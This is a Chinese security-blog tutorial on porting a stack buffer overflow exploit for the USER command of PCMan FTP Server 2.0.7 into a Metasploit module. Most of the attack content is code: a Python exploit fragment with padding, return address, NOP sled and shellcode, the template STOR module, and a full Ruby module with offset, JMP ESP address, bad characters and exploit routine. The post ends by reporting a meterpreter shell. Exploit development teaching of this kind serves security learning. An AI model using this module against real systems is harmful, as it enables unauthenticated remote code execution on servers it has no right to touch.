将漏洞利用转换metasploit模块

阅读量172241

|

发布时间 : 2020-09-17 14:30:46

 

在之前文章,我们讨论各种堆栈溢出。我们可以利用任何一种编程语言编写漏洞利用程序。Metasploit是Ruby编写,并且开源。因为它的开源并且是框架,所以metasploit是可以接受在自定义创建利用代码,但必须遵循metasploit规则。

在本文中,我们将之前编写漏洞即PcmanFTPserver转换成metasploit模块。如果查看MSF漏洞,则利用有PcmanFTP服务器漏洞,但该漏洞仅适用PUT和STOR命令,而我们创建漏洞位于User命令中。同时此命令是不需要登录即可利用,所谓开箱即用。

Metasploit上有一个模板,可以用在metasploit编写漏洞利用作为参考。它位于/usr/share/metasploit-framework/modules/exploits/example.rb(实测kali/parrot路径都一样)或者可以直接在github上下载。为了研究如何获得一个正确示例,讲从文件获得一个示例。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the STOR command of the
          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
          note authentication is required in order to trigger the vulnerability. The overflowing
          string will also be seen on the FTP server log console.
      },
      'Author'         =>
          [
            'Christian (Polunchis) Ramirez', # Initial Discovery
            'Rick (nanotechz9l) Flores'      # Metasploit Module
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4730' ],
          [ 'OSVDB', '94624'],
          [ 'EDB',   '27703']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2011
            }
          ],
        ],
      'DisclosureDate' => 'Jun 27 2013',
      'DefaultTarget'  => 0))
  end

  def post_auth?
    true
  end

 ******************省略号********************************

  def exploit
    c = connect_login

    # Auth failed. The mixin should show the error, so we just bail.
    return unless c

    # Username is part of the overflowing string, so we need to account for that length
    user_length = datastore['FTPUSER'].to_s.length

    print_status("Trying victim #{target.name}...")
    sploit = rand_text_alpha(target['Offset'] - user_length)
    sploit << [target.ret].pack('V')
    sploit << make_nops(4)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd( ["STOR", "/../" + sploit], false )
    disconnect
  end
end

如当前标记,这些地方需要调整,以便根据之前在python中编写漏洞利用进行漏洞转移,以下为PCMANftp漏洞利用最重要的部分

Shellcode=xxx
evil = evil = "A" * 1999 + "\x27\xB2\xF8\x77" + "\x90" * 50 + shellcode + "\x90" * 10
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 connect=s.connect(('192.168.137.128',21))
 s.recv(1024)
 s.send('USER ' + evil + '\r\n')
 s.recv(1024)
 s.send('PASS anonymous\r\n')
 s.recv(1024)
 
 s.send('QUIT\r\n')
 s.close

到目前为止,我们已经保存了上述漏洞利用各个部分,并来讨论metasploit模块制作。

include Msf::Exploit::Remote::Ftp表示上面的脚本需要与FTP服务的连接功能。在此部分中def initialize(info = {}),提供了与漏洞利用有关的信息。例如部分,PayloadTargets概述了需要调整的内容。本节def exploit隐含一系列漏洞利用程序,类似于我们上面描述的一组功能。

如果我们将其结合起来,那么一些需要调整的字段是:

      'Targets'        =>
        [
          [ 'Windows 10 Enterprise Evaluation (version 1909)',
            {
              'Ret' => 0x77c35459, # # jmp esp - PCManFTPD2.exe
              'Offset' => 2011
            }
          ],
        ],

在第三行,将target名称修改为我们测试系统名称Windows 10 Enterprise Evaluation (version 1909),然后在第5行ret部分填入JMP ESP模块。Offser是最终达到EIP的偏移量所需要的字符数,即2011个字符。

然后在这只有部分的def exploit

def exploit
    connect
 
    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded
 
    send_cmd( ["USER", buffer], false )
    disconnect
end

Def exploit 部分是最重要的部分,因为在本节中,它是一系列漏洞利用,与之前使用python的漏洞利用顺序完全相同。第二行的 connect,它是模块的一部分Msf::Exploit::Remote::Ftp

因为之前的PCMANFTP脚本,使用connect_login方法,这里不适合我们当前利用方式,因为我们构建的利用在USER参数中,因此我们需要进行登录操作,针对connect方法大致解释如下:

  • rand_text_alpha(target[‘Offset’]) -Metasploit函数可生成与“偏移”选项中指定的数字一样多的随机字符
  • [target.ret].pack(‘V’) -此部分从Target-> Ret选项检索值,其中包含地址 JMP ESP
  • make_nops(16) -此部分将生成16字节的NOPsleds
  • payload.encoded-该部分是Metasploit生成主要payload的功能
  • Send_cmd( [“USER”, sploit], false )-传递利用参数USER,然后传递包含最终payload利用的变量sploit

最终结合起来样子例如下文

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
   
    include Msf::Exploit::Remote::Ftp
   
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'PCMAN FTP Server Buffer Overflow - USER Command',
        'Description'    => %q{
            This module exploits a buffer overflow vulnerability found in the USER command of the
            PCMAN FTP v2.0.7 Server. This exploit doesn't require authentication.
        },
        'Author'         =>
            [
              'saya'   # msf Module
            ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            [ 'CVE', '2013-4730' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process'
          },
        'Payload'        =>
          {
            'Space'   => 1000,
            'BadChars'  => "\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d",
          },
        'Platform'       => 'win',
        'Targets'        =>
        [
          [ 'Windows 10 Enterprise Evaluation (version 1909)',
            {
              'Ret' => 0x77c35459, # # jmp esp - PCManFTPD2.exe
              'Offset' => 2011
            }
          ],
        ],
        'DisclosureDate' => 'Aug 07 2015',
        'DefaultTarget'  => 0))
    end
   
    def check
      connect_login
      disconnect
   
      if /220 PCMan's FTP Server 2\.0/ === banner
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    end
   
   
    def exploit
      connect
   
      print_status('Generating payload...')
      sploit = rand_text_alpha(target['Offset'])
      sploit << [target.ret].pack('V')
      sploit << make_nops(16)
      sploit << payload.encoded
   
      send_cmd( ["USER", sploit], false )
      disconnect
    end
  end

将其保存为Pcman_user.rb保存文件,然后将其放置目录

/usr/share/metasploit-framework/modules/exploits/windows/ftp/

然后再次运行Mesploit并确保正常加载我们的模块,这里是用kali系统给大家演示下,注:只要模块编写正确任何支持metasploit都支持,比较方便协同作战

加载后,在Metasploit上测试我们的脚本,如图所示:成功利用!meterpreter控制台正在等待使用。我们已经成功地将以前使用Python且缺乏功能的漏洞利用脚本转换为功能非常丰富的Metasploit框架模块。

将漏洞转化为Metasploit的主要目的是因为Metasploit功能可以在目标管理和高级漏洞利用过程中提供便利,许多漏洞利用者将Metasploit用作构建和使用高级漏洞利用模块的工具。

参考文档:

https://www.rubydoc.info/github/rapid7/metasploit-framework/ — RubyDoc

https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/ –Offensive Security

https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit –Rapid7

本文由legend原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/217638

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
legend
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66